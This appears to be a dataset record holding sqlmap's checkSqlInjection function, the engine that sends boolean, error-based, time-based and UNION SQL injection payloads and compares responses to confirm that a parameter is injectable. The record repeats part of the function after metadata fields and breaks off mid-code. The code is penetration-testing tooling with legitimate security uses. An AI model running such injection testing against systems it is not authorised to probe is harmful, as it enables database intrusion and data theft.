# previously identified DBMS (via DBMS-specific error message)
if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True):
debugMsg = ""skipping test '%s' because the heuristic "" % title
debugMsg += ""tests showed that the back-end DBMS ""
debugMsg += ""could be '%s'"" % unArrayizeValue(kb.reduceTests)
logger.debug(debugMsg)
continue
# If the user did not decide to extend the tests to all
# DBMS-specific or the test payloads is not specific to the
# identified DBMS, then only test for it if both level and risk
# are below the corrisponding configuration's level and risk
# values
if not conf.testFilter and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
# Skip test if the risk is higher than the provided (or default)
# value
if test.risk > conf.risk:
debugMsg = ""skipping test '%s' because the risk (%d) "" % (title, test.risk)
debugMsg += ""is higher than the provided (%d)"" % conf.risk
logger.debug(debugMsg)
continue
# Skip test if the level is higher than the provided (or default)
# value
if test.level > conf.level:
debugMsg = ""skipping test '%s' because the level (%d) "" % (title, test.level)
debugMsg += ""is higher than the provided (%d)"" % conf.level
logger.debug(debugMsg)
continue
# Skip test if it does not match the same SQL injection clause
# already identified by another test
clauseMatch = False
for clauseTest in clause:
if injection.clause is not None and clauseTest in injection.clause:
clauseMatch = True
break
if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
debugMsg = ""skipping test '%s' because the clauses "" % title
debugMsg += ""differ from the clause already identified""
logger.debug(debugMsg)
continue
# Skip test if the user provided custom character (for UNION-based payloads)
if conf.uChar is not None and (""random number"" in title or ""(NULL)"" in title):
debugMsg = ""skipping test '%s' because the user "" % title
debugMsg += ""provided a specific character, %s"" % conf.uChar
logger.debug(debugMsg)
continue
if stype == PAYLOAD.TECHNIQUE.UNION:
match = re.search(r""(\d+)-(\d+)"", test.request.columns)
if match and not injection.data:
_ = test.request.columns.split('-')[-1]
if conf.uCols is None and _.isdigit():
if kb.futileUnion is None:
msg = ""it is recommended to perform ""
msg += ""only basic UNION tests if there is not ""
msg += ""at least one other (potential) ""
msg += ""technique found. Do you want to reduce ""
msg += ""the number of requests? [Y/n] ""
kb.futileUnion = readInput(msg, default='Y', boolean=True)
if kb.futileUnion and int(_) > 10:
debugMsg = ""skipping test '%s'"" % title
logger.debug(debugMsg)
continue
infoMsg = ""testing '%s'"" % title
logger.info(infoMsg)
# Force back-end DBMS according to the current test DBMS value
# for proper payload unescaping
Backend.forceDbms(payloadDbms[0] if isinstance(payloadDbms, list) else payloadDbms)
# Parse test's
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)
for boundary in boundaries:
injectable = False
# Skip boundary if the level is higher than the provided (or
# default) value
# Parse boundary's
if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
continue
# Skip boundary if it does not match against test's
# Parse test's and boundary's
clauseMatch = False
for clauseTest in test.clause:
if clauseTest in boundary.clause:
clauseMatch = True
break
if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
continue
# Skip boundary if it does not match against test's
# Parse test's and boundary's
whereMatch = False
for where in test.where:
if where in boundary.where:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's , and
prefix = boundary.prefix if boundary.prefix else """"
suffix = boundary.suffix if boundary.suffix else """"
ptype = boundary.ptype
# Options --prefix/--suffix have a higher priority (if set by user)
prefix = conf.prefix if conf.prefix is not None else prefix
suffix = conf.suffix if conf.suffix is not None else suffix
comment = None if conf.suffix is not None else comment
# If the previous injections succeeded, we know which prefix,
# suffix and parameter type to use for further tests, no
# need to cycle through the boundaries for the following tests
condBound = (injection.prefix is not None and injection.suffix is not None)
condBound &= (injection.prefix != prefix or injection.suffix != suffix)
condType = injection.ptype is not None and injection.ptype != ptype
# If the payload is an inline query test for it regardless
# of previously identified injection types
if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType):
continue
# For each test's
for where in test.where:
templatePayload = None
vector = None
origValue = value
if kb.customInjectionMark in origValue:
origValue = origValue.split(kb.customInjectionMark)[0]
origValue = re.search(r""(\w*)\Z"", origValue).group(1)
# Threat the parameter original value according to the
# test's tag
if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix:
if kb.tamperFunctions:
templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
elif where == PAYLOAD.WHERE.NEGATIVE:
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
if conf.invalidLogical:
_ = int(kb.data.randomInt[:2])
origValue = ""%s AND %s LIKE %s"" % (origValue, _, _ + 1)
elif conf.invalidBignum:
origValue = kb.data.randomInt[:6]
elif conf.invalidString:
origValue = kb.data.randomStr[:6]
else:
origValue = ""-%s"" % kb.data.randomInt[:4]
templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
elif where == PAYLOAD.WHERE.REPLACE:
origValue = """"
kb.pageTemplate, kb.errorIsNone = getPageTemplate(templatePayload, place)
# Forge request payload by prepending with boundary's
# prefix and appending the boundary's suffix to the
# test's ' ' string
if fstPayload:
boundPayload = agent.prefixQuery(fstPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
reqPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
if reqPayload:
stripPayload = re.sub(r""(\A|\b|_)([A-Za-z]{4}((?.\g<4>"", reqPayload)
if stripPayload in seenPayload:
continue
else:
seenPayload.add(stripPayload)
else:
reqPayload = None
# Perform the test's request and check whether or not the
# payload was successful
# Parse test's
for method, check in test.response.items():
check = agent.cleanupPayload(check, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)
# In case of boolean-based blind SQL injection
if method == PAYLOAD.METHOD.COMPARISON:
# Generate payload used for comparison
def genCmpPayload():
sndPayload = agent.cleanupPayload(test.response.comparison, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)
# Forge response payload by prepending with
# boundary's prefix and appending the boundary's
# suffix to the test's ' '
# string
boundPayload = agent.prefixQuery(sndPayload, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
cmpPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
return cmpPayload
# Useful to set kb.matchRatio at first based on False response content
kb.matchRatio = None
kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE)
Request.queryPage(genCmpPayload(), place, raise404=False)
falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
falseRawResponse = ""%s%s"" % (falseHeaders, falsePage)
# Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter)
if not any((kb.negativeLogic, conf.string, conf.notString)):
try:
ratio = 1.0
seqMatcher = getCurrentThreadData().seqMatcher
for current in (kb.originalPage, kb.heuristicPage):
seqMatcher.set_seq1(current or """")
seqMatcher.set_seq2(falsePage or """")
ratio *= seqMatcher.quick_ratio()
if ratio == 1.0:
continue
except (MemoryError, OverflowError):
pass
# Perform the test's True request
trueResult = Request.queryPage(reqPayload, place, raise404=False)
truePage, trueHeaders, trueCode = threadData.lastComparisonPage or """", threadData.lastComparisonHeaders, threadData.lastComparisonCode
trueRawResponse = ""%s%s"" % (trueHeaders, truePage)
if trueResult and not(truePage == falsePage and not kb.nullConnection):
# Perform the test's False request
falseResult = Request.queryPage(genCmpPayload(), place, raise404=False)
if not falseResult:
if kb.negativeLogic:
boundPayload = agent.prefixQuery(kb.data.randomStr, prefix, where, clause)
boundPayload = agent.suffixQuery(boundPayload, comment, suffix, where)
errorPayload = agent.payload(place, parameter, newValue=boundPayload, where=where)
errorResult = Request.queryPage(errorPayload, place, raise404=False)
if errorResult:
continue
elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
_ = comparison(kb.heuristicPage, None, getRatioValue=True)
if (_ or 0) > (kb.matchRatio or 0):
kb.matchRatio = _
logger.debug(""adjusting match ratio for current parameter to %.3f"" % kb.matchRatio)
# Reducing false-positive ""appears"" messages in heavily dynamic environment
if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
continue
injectable = True
elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
originalSet = set(getFilteredPageContent(kb.pageTemplate, True, ""\n"").split(""\n""))
trueSet = set(getFilteredPageContent(truePage, True, ""\n"").split(""\n""))
falseSet = set(getFilteredPageContent(falsePage, True, ""\n"").split(""\n""))
if threadData.lastErrorPage and threadData.lastErrorPage[1]:
errorSet = set(getFilteredPageContent(threadData.lastErrorPage[1], True, ""\n"").split(""\n""))
else:
errorSet = set()
if originalSet == trueSet != falseSet:
candidates = trueSet - falseSet - errorSet
if candidates:
candidates = sorted(candidates, key=len)
for candidate in candidates:
if re.match(r""\A[\w.,! ]+\Z"", candidate) and ' ' in candidate and candidate.strip() and len(candidate) > CANDIDATE_SENTENCE_MIN_LENGTH:
conf.string = candidate
injectable = True
infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
logger.info(infoMsg)
break
if injectable:
if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
if all((falseCode, trueCode)) and falseCode != trueCode:
conf.code = trueCode
infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --code=%d)"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, conf.code)
logger.info(infoMsg)
else:
trueSet = set(extractTextTagContent(trueRawResponse))
trueSet |= set(__ for _ in trueSet for __ in _.split())
falseSet = set(extractTextTagContent(falseRawResponse))
falseSet |= set(__ for _ in falseSet for __ in _.split())
if threadData.lastErrorPage and threadData.lastErrorPage[1]:
errorSet = set(extractTextTagContent(threadData.lastErrorPage[1]))
errorSet |= set(__ for _ in errorSet for __ in _.split())
else:
errorSet = set()
candidates = filterNone(_.strip() if _.strip() in trueRawResponse and _.strip() not in falseRawResponse else None for _ in (trueSet - falseSet - errorSet))
if candidates:
candidates = sorted(candidates, key=len)
for candidate in candidates:
if re.match(r""\A\w{2,}\Z"", candidate): # Note: length of 1 (e.g. --string=5) could cause trouble, especially in error message pages with partially reflected payload content
break
conf.string = candidate
infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.string).lstrip('u').strip(""'""))
logger.info(infoMsg)
if not any((conf.string, conf.notString)):
candidates = filterNone(_.strip() if _.strip() in falseRawResponse and _.strip() not in trueRawResponse else None for _ in (falseSet - trueSet))
if candidates:
candidates = sorted(candidates, key=len)
for candidate in candidates:
if re.match(r""\A\w+\Z"", candidate):
break
conf.notString = candidate
infoMsg = ""%sparameter '%s' appears to be '%s' injectable (with --not-string=\""%s\"")"" % (""%s "" % paramType if paramType != parameter else """", parameter, title, repr(conf.notString).lstrip('u').strip(""'""))
logger.info(infoMsg)
if not any((conf.string, conf.notString, conf.code)):
infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
singleTimeLogMessage(infoMsg)
# In case of error-based SQL injection
elif method == PAYLOAD.METHOD.GREP:
# Perform the test's request and grep the response
# body for the test's regular expression
try:
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
if output:
result = output == ""1""
if result:
infoMsg = ""%sparameter '%s' is '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
logger.info(infoMsg)
injectable = True
except SqlmapConnectionException as ex:
debugMsg = ""problem occurred most likely because the ""
debugMsg += ""server hasn't recovered as expected from the ""
debugMsg += ""error-based payload used ('%s')"" % getSafeExString(ex)
logger.debug(debugMsg)
# In case of time-based blind or stacked queries
# SQL injections
elif method == PAYLOAD.METHOD.TIME:
# Perform the test's request
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
trueCode = threadData.lastCode
if trueResult:
# Extra validation step (e.g. to check for DROP protection mechanisms)
if SLEEP_TIME_MARKER in reqPayload:
falseResult = Request.queryPage(reqPayload.replace(SLEEP_TIME_MARKER, ""0""), place, timeBasedCompare=True, raise404=False)
if falseResult:
continue
# Confirm test's results
trueResult = Request.queryPage(reqPayload, place, timeBasedCompare=True, raise404=False)
if trueResult:
infoMsg = ""%sparameter '%s' appears to be '%s' injectable "" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
logger.info(infoMsg)
injectable = True
# In case of UNION query SQL injection
elif method == PAYLOAD.METHOD.UNION:
# Test for UNION injection and set the sample
# payload as well as the vector.
# NOTE: vector is set to a tuple with 6 elements,
# used afterwards by Agent.forgeUnionQuery()
# method to forge the UNION query payload
configUnion(test.request.char, test.request.columns)
if len(kb.dbmsFilter or []) == 1:
Backend.forceDbms(kb.dbmsFilter[0])
elif not Backend.getIdentifiedDbms():
if kb.heuristicDbms is None:
if kb.heuristicTest == HEURISTIC_TEST.POSITIVE or injection.data:
warnMsg = ""using unescaped version of the test ""
warnMsg += ""because of zero knowledge of the ""
warnMsg += ""back-end DBMS. You can try to ""
warnMsg += ""explicitly set it with option '--dbms'""
singleTimeWarnMessage(warnMsg)
else:
Backend.forceDbms(kb.heuristicDbms)
if unionExtended:
infoMsg = ""automatically extending ranges for UNION ""
infoMsg += ""query injection technique tests as ""
infoMsg += ""there is at least one other (potential) ""
infoMsg += ""technique found""
singleTimeLogMessage(infoMsg)
# Test for UNION query SQL injection
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
if isinstance(reqPayload, six.string_types):
infoMsg = ""%sparameter '%s' is '%s' injectable"" % (""%s "" % paramType if paramType != parameter else """", parameter, title)
logger.info(infoMsg)
injectable = True
# Overwrite 'where' because it can be set
# by unionTest() directly
where = vector[6]
kb.previousMethod = method
if conf.offline:
injectable = False
# If the injection test was successful feed the injection
# object with the test's details
if injectable is True:
# Feed with the boundaries details only the first time a
# test has been successful
if injection.place is None or injection.parameter is None:
if place in (PLACE.USER_AGENT, PLACE.REFERER, PLACE.HOST):
injection.parameter = place
else:
injection.parameter = parameter
injection.place = place
injection.ptype = ptype
injection.prefix = prefix
injection.suffix = suffix
injection.clause = clause
# Feed with test details every time a test is successful
if hasattr(test, ""details""):
for key, value in test.details.items():
if key == ""dbms"":
injection.dbms = value
if not isinstance(value, list):
Backend.setDbms(value)
else:
Backend.forceDbms(value[0], True)
elif key == ""dbms_version"" and injection.dbms_version is None and not conf.testFilter:
injection.dbms_version = Backend.setVersion(value)
elif key == ""os"" and injection.os is None:
injection.os = Backend.setOs(value)
if vector is None and ""vector"" in test and test.vector is not None:
vector = test.vector
injection.data[stype] = AttribDict()
injection.data[stype].title = title
injection.data[stype].payload = agent.removePayloadDelimiters(reqPayload)
injection.data[stype].where = where
injection.data[stype].vector = vector
injection.data[stype].comment = comment
injection.data[stype].templatePayload = templatePayload
injection.data[stype].matchRatio = kb.matchRatio
injection.data[stype].trueCode = trueCode
injection.data[stype].falseCode = falseCode
injection.conf.textOnly = conf.textOnly
injection.conf.titles = conf.titles
injection.conf.code = conf.code
injection.conf.string = conf.string
injection.conf.notString = conf.notString
injection.conf.regexp = conf.regexp
injection.conf.optimize = conf.optimize
if not kb.alerted:
if conf.beep:
beep()
if conf.alert:
infoMsg = ""executing alerting shell command(s) ('%s')"" % conf.alert
logger.info(infoMsg)
try:
process = subprocess.Popen(getBytes(conf.alert, sys.getfilesystemencoding() or UNICODE_ENCODING), shell=True)
process.wait()
except Exception as ex:
errMsg = ""error occurred while executing '%s' ('%s')"" % (conf.alert, getSafeExString(ex))
logger.error(errMsg)
kb.alerted = True
# There is no need to perform this test for other
# tags
break
if injectable is True:
kb.vulnHosts.add(conf.hostname)
break
# Reset forced back-end DBMS value
Backend.flushForcedDbms()
except KeyboardInterrupt:
warnMsg = ""user aborted during detection phase""
logger.warn(warnMsg)
if conf.multipleTargets:
msg = ""how do you want to proceed? [ne(X)t target/(s)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
choice = readInput(msg, default='X', checkBatch=False).upper()
else:
msg = ""how do you want to proceed? [(S)kip current test/(e)nd detection phase/(n)ext parameter/(c)hange verbosity/(q)uit]""
choice = readInput(msg, default='S', checkBatch=False).upper()
if choice == 'X':
if conf.multipleTargets:
raise SqlmapSkipTargetException
elif choice == 'C':
choice = None
while not ((choice or """").isdigit() and 0 <= int(choice) <= 6):
if choice:
logger.warn(""invalid value"")
msg = ""enter new verbosity level: [0-6] ""
choice = readInput(msg, default=str(conf.verbose), checkBatch=False)
conf.verbose = int(choice)
setVerbosity()
tests.insert(0, test)
elif choice == 'N':
return None
elif choice == 'E':
kb.endDetection = True
elif choice == 'Q':
raise SqlmapUserQuitException
finally:
# Reset forced back-end DBMS value
Backend.flushForcedDbms()
Backend.flushForcedDbms(True)
# Return the injection object
if injection.place is not None and injection.parameter is not None:
if not conf.dropSetCookie and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data and injection.data[PAYLOAD.TECHNIQUE.BOOLEAN].vector.startswith('OR'):
warnMsg = ""in OR boolean-based injection cases, please consider usage ""
warnMsg += ""of switch '--drop-set-cookie' if you experience any ""
warnMsg += ""problems during data retrieval""
logger.warn(warnMsg)
if not checkFalsePositives(injection):
kb.vulnHosts.remove(conf.hostname)
if NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
injection.notes.append(NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE)
else:
injection = None
if injection and NOTE.FALSE_POSITIVE_OR_UNEXPLOITABLE not in injection.notes:
checkSuhosinPatch(injection)
checkFilteredChars(injection)
return injection",,sqlmapproject/sqlmap,0351b4a939cc64943ef39f25737203bd0307adf7,"def checkSqlInjection(place, parameter, value):
# Store here the details about boundaries and payload used to
# successfully inject
injection = InjectionDict()
# Localized thread data needed for some methods
threadData = getCurrentThreadData()
# Favoring non-string specific boundaries in case of digit-like parameter values
if value.isdigit():
kb.cache.intBoundaries = kb.cache.intBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
boundaries = kb.cache.intBoundaries
elif value.isalpha():
kb.cache.alphaBoundaries = kb.cache.alphaBoundaries or sorted(copy.deepcopy(conf.boundaries), key=lambda boundary: not any(_ in (boundary.prefix or """") or _ in (boundary.suffix or """") for _ in ('""', '\'')))
boundaries = kb.cache.alphaBoundaries
else:
boundaries = conf.boundaries
# Set the flag for SQL injection test mode
kb.testMode = True
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
tests = getSortedInjectionTests()
seenPayload = set()
kb.data.setdefault(""randomInt"", str(randomInt(10)))
kb.data.setdefault(""randomStr"", str(randomStr(10)))
while tests:
test = tests.pop(0)
try:
if kb.endDetection:
break
if conf.dbms is None:
# If the DBMS has not yet been fingerprinted (via simple heuristic check
# or via DBMS-specific payload) and boolean-based blind has been identified
# then attempt to identify with a simple DBMS specific boolean-based
# test what the DBMS may be
if not injection.dbms and PAYLOAD.TECHNIQUE.BOOLEAN in injection.data:
if not Backend.getIdentifiedDbms() and kb.heuristicDbms is None and not kb.droppingRequests:
kb.heuristicDbms = heuristicCheckDbms(injection)
# If the DBMS has already been fingerprinted (via DBMS-specific
# error message, simple heuristic check or via DBMS-specific
# payload), ask the user to limit the tests to the fingerprinted
# DBMS
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = ""it looks like the back-end DBMS is '%s'. "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += ""Do you want to skip test payloads specific for other DBMSes? [Y/n]""
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
# If the DBMS has been fingerprinted (via DBMS-specific error
# message, via simple heuristic check or via DBMS-specific
# payload), ask the user to extend the tests to all DBMS-specific,
# regardless of --level and --risk values provided
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
msg = ""for the remaining tests, do you want to include all tests ""
msg += ""for '%s' extending provided "" % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or joinValue(injection.dbms, '/'))
msg += ""level (%d)"" % conf.level if conf.level < 5 else """"
msg += "" and "" if conf.level < 5 and conf.risk < 3 else """"
msg += ""risk (%d)"" % conf.risk if conf.risk < 3 else """"
msg += "" values? [Y/n]"" if conf.level < 5 and conf.risk < 3 else "" value? [Y/n]""
kb.extendTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
title = test.title
kb.testType = stype = test.stype
clause = test.clause
unionExtended = False
trueCode, falseCode = None, None
if conf.httpCollector is not None:
conf.httpCollector.setExtendedArguments({
""_title"": title,
""_place"": place,
""_parameter"": parameter,
})
if stype == PAYLOAD.TECHNIQUE.UNION:
configUnion(test.request.char)
if ""[CHAR]"" in title:
if conf.uChar is None:
continue
else:
title = title.replace(""[CHAR]"", conf.uChar)
elif ""[RANDNUM]"" in title or ""(NULL)"" in title:
title = title.replace(""[RANDNUM]"", ""random number"")
if test.request.columns == ""[COLSTART]-[COLSTOP]"":
if conf.uCols is None:
continue
else:
title = title.replace(""[COLSTART]"", str(conf.uColsStart))
title = title.replace(""[COLSTOP]"", str(conf.uColsStop))
elif conf.uCols is not None:
debugMsg = ""skipping test '%s' because the user "" % title
debugMsg += ""provided custom column range %s"" % conf.uCols
logger.debug(debugMsg)
continue
match = re.search(r""(\d+)-(\d+)"", test.request.columns)
if match and injection.data:
lower, upper = int(match.group(1)), int(match.group(2))
for _ in (lower, upper):
if _ > 1:
__ = 2 * (_ - 1) + 1 if _ == lower else 2 * _
unionExtended = True
test.request.columns = re.sub(r""\b%d\b"" % _, str(__), test.request.columns)
title = re.sub(r""\b%d\b"" % _, str(__), title)
test.title = re.sub(r""\b%d\b"" % _, str(__), test.title)
# Skip test if the user's wants to test only for a specific
# technique
if conf.technique and isinstance(conf.technique, list) and stype not in conf.technique:
debugMsg = ""skipping test '%s' because the user "" % title
debugMsg += ""specified to test only for ""
debugMsg += ""%s techniques"" % "" & "".join(PAYLOAD.SQLINJECTION[_] for _ in conf.technique)
logger.debug(debugMsg)
continue
# Skip test if it is the same SQL injection type already
# identified by another test
if injection.data and stype in injection.data:
debugMsg = ""skipping test '%s' because "" % title
debugMsg += ""the payload for %s has "" % PAYLOAD.SQLINJECTION[stype]
debugMsg += ""already been identified""
logger.debug(debugMsg)
continue
# Parse DBMS-specific payloads' details
if ""details"" in test and ""dbms"" in test.details:
payloadDbms = test.details.dbms
else:
payloadDbms = None
# Skip tests if title, vector or DBMS is not included by the
# given test filter
if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
debugMsg = ""skipping test '%s' because its "" % title
debugMsg += ""name/vector/DBMS is not included by the given filter""
logger.debug(debugMsg)
continue
# Skip tests if title, vector or DBMS is included by the
# given skip filter
if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
debugMsg = ""skipping test '%s' because its "" % title
debugMsg += ""name/vector/DBMS is included by the given skip filter""
logger.debug(debugMsg)
continue
if payloadDbms is not None:
# Skip DBMS-specific test if it does not match the user's
# provided DBMS
if conf.dbms and not intersect(payloadDbms, conf.dbms, True):
debugMsg = ""skipping test '%s' because "" % title
debugMsg += ""its declared DBMS is different than provided""
logger.debug(debugMsg)
continue
if kb.dbmsFilter and not intersect(payloadDbms, kb.dbmsFilter, True):
debugMsg = ""skipping test '%s' because "" % title
debugMsg += ""its declared DBMS is different than provided""
logger.debug(debugMsg)
continue
# Skip DBMS-specific test if it does not match the
# previously identified DBMS (via DBMS-specific payload)
if injection.dbms and not intersect(payloadDbms, injection.dbms, True):
debugMsg = ""skipping test '%s' because "" % title
debugMsg += ""its declared DBMS is different than identified""
logger.debug(debugMsg)
continue
# Skip DBMS-specific test if it does not match the
# previously identified DBMS (via DBMS-specific error message)
if kb.reduceTests and not intersect(payloadDbms, kb.reduceTests, True):
debugMsg = ""skipping test '%s' because the heuristic "" % title
debugMsg += ""tests showed that the back-end DBMS ""
debugMsg += ""could be '%s'"" % unArrayizeValue(kb.reduceTests)
logger.debug(debugMsg)
continue
# If the user did not decide to extend the tests to all
# DBMS-specific or the test payloads is not specific to the
# identified DBMS, then only test for it if both level and risk
# are below the corrisponding configuration's level and risk
# values
if not conf.testFilter and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
# Skip test if the risk is higher than the provided (or default)
# value
if test.risk > conf.risk:
debugMsg = ""skipping test '%s' because the risk (%d) "" % (title, test.risk)
debugMsg += ""is higher than the provided (%d)"" % conf.risk
logger.debug(debugMsg)
continue
# Skip test if the level is higher than the provided (or default)
# value
if test.level > conf.level:
debugMsg = ""skipping test '%s' because the level (%d) "" % (title, test.level)
debugMsg += ""is higher than the provided (%d)"" % conf.level
logger.debug(debugMsg)
continue
# Skip test if it does not match the same SQL injection clause
# already identified by another test
clauseMatch = False
for clauseTest in clause:
if injection.clause is not None and clauseTest in injection.clause:
clauseMatch = True
break
if clause != [0] and injection.clause and injection.clause != [0] and not clauseMatch:
debugMsg = ""skipping test '%s' because the clauses "" % title
debugMsg += ""differ from the clause already identified""
logger.debug(debugMsg)
continue
# Skip test if the user provided custom character (for UNION-based payloads)
if conf.uChar is not None and (""random number"" in title or ""(NULL)"" in title):
debugMsg = ""skipping test '%s' because the user "" % title
debugMsg += ""provided a specific character, %s"" % conf.uChar
logger.debug(debugMsg)
continue
if stype == PAYLOAD.TECHNIQUE.UNION:
match = re.search(r""(\d+)-(\d+)"", test.request.columns)
if match and not injection.data:
_ = test.request.columns.split('-')[-1]
if conf.uCols is None and _.isdigit():
if kb.futileUnion is None:
msg = ""it is recommended to perform ""
msg += ""only basic UNION tests if there is not ""
msg += ""at least one other (potential) ""
msg += ""technique found. Do you want to reduce ""
msg += ""the number of requests? [Y/n] ""
kb.futileUnion = readInput(msg, default='Y', boolean=True)
if kb.futileUnion and int(_) > 10:
debugMsg = ""skipping test '%s'"" % title
logger.debug(debugMsg)
continue
infoMsg = ""testing '%s'"" % title
logger.info(infoMsg)
# Force back-end DBMS according to the current test DBMS value
# for proper payload unescaping
Backend.forceDbms(payloadDbms[0] if isinstance(payloadDbms, list) else payloadDbms)
# Parse test's
comment = agent.getComment(test.request) if len(conf.boundaries) > 1 else None
fstPayload = agent.cleanupPayload(test.request.payload, origValue=value if place not in (PLACE.URI, PLACE.CUSTOM_POST, PLACE.CUSTOM_HEADER) and BOUNDED_INJECTION_MARKER not in (value or """") else None)
for boundary in boundaries:
injectable = False
# Skip boundary if the level is higher than the provided (or
# default) value
# Parse boundary's
if boundary.level > conf.level and not (kb.extendTests and intersect(payloadDbms, kb.extendTests, True)):
continue
# Skip boundary if it does not match against test's
# Parse test's and boundary's
clauseMatch = False
for clauseTest in test.clause:
if clauseTest in boundary.clause:
clauseMatch = True
break
if test.clause != [0] and boundary.clause != [0] and not clauseMatch:
continue
# Skip boundary if it does not match against test's
# Parse test's and boundary's
whereMatch = False
for where in test.where:
if where in boundary.where:
whereMatch = True
break
if not whereMatch:
continue
# Parse boundary's , and
prefix = boundary.prefix if boundary.prefix else """"
suffix = boundary.suffix if boundary.suffix else """"
ptype = boundary.ptype
# Options --prefix/--suffix have a higher priority (if set by user)
prefix = conf.prefix if conf.prefix is not None else prefix
suffix = conf.suffix if conf.suffix is not None else suffix
comment = None if conf.suffix is not None else comment
# If the previous injections succeeded, we know which prefix,
# suffix and parameter type to use for further tests, no
# need to cycle through the boundaries for the following tests
condBound = (injection.prefix is not None and injection.suffix is not None)
condBound &= (injection.prefix != prefix or injection.suffix != suffix)
condType = injection.ptype is not None and injection.ptype != ptype
# If the payload is an inline query test for it regardless
# of previously identified injection types
if stype != PAYLOAD.TECHNIQUE.QUERY and (condBound or condType):
continue
# For each test's
for where in test.where:
templatePayload = None
vector = None
origValue = value
if kb.customInjectionMark in origValue:
origValue = origValue.split(kb.customInjectionMark)[0]
origValue = re.search(r""(\w*)\Z"", origValue).group(1)
# Threat the parameter original value according to the
# test's tag
if where == PAYLOAD.WHERE.ORIGINAL or conf.prefix:
if kb.tamperFunctions:
templatePayload = agent.payload(place, parameter, value="""", newValue=origValue, where=where)
elif where == PAYLOAD.WHERE.NEGATIVE:
# Use different page template than the original
# one as we are changing parameters value, which
# will likely result in a different content
if conf.invalidLogical:
_ = int(kb.data.randomInt[:2])
origValue = ""%s AND %s LIKE %s"" % (origValue, _, _ + 1)
elif conf.invalidBignum:
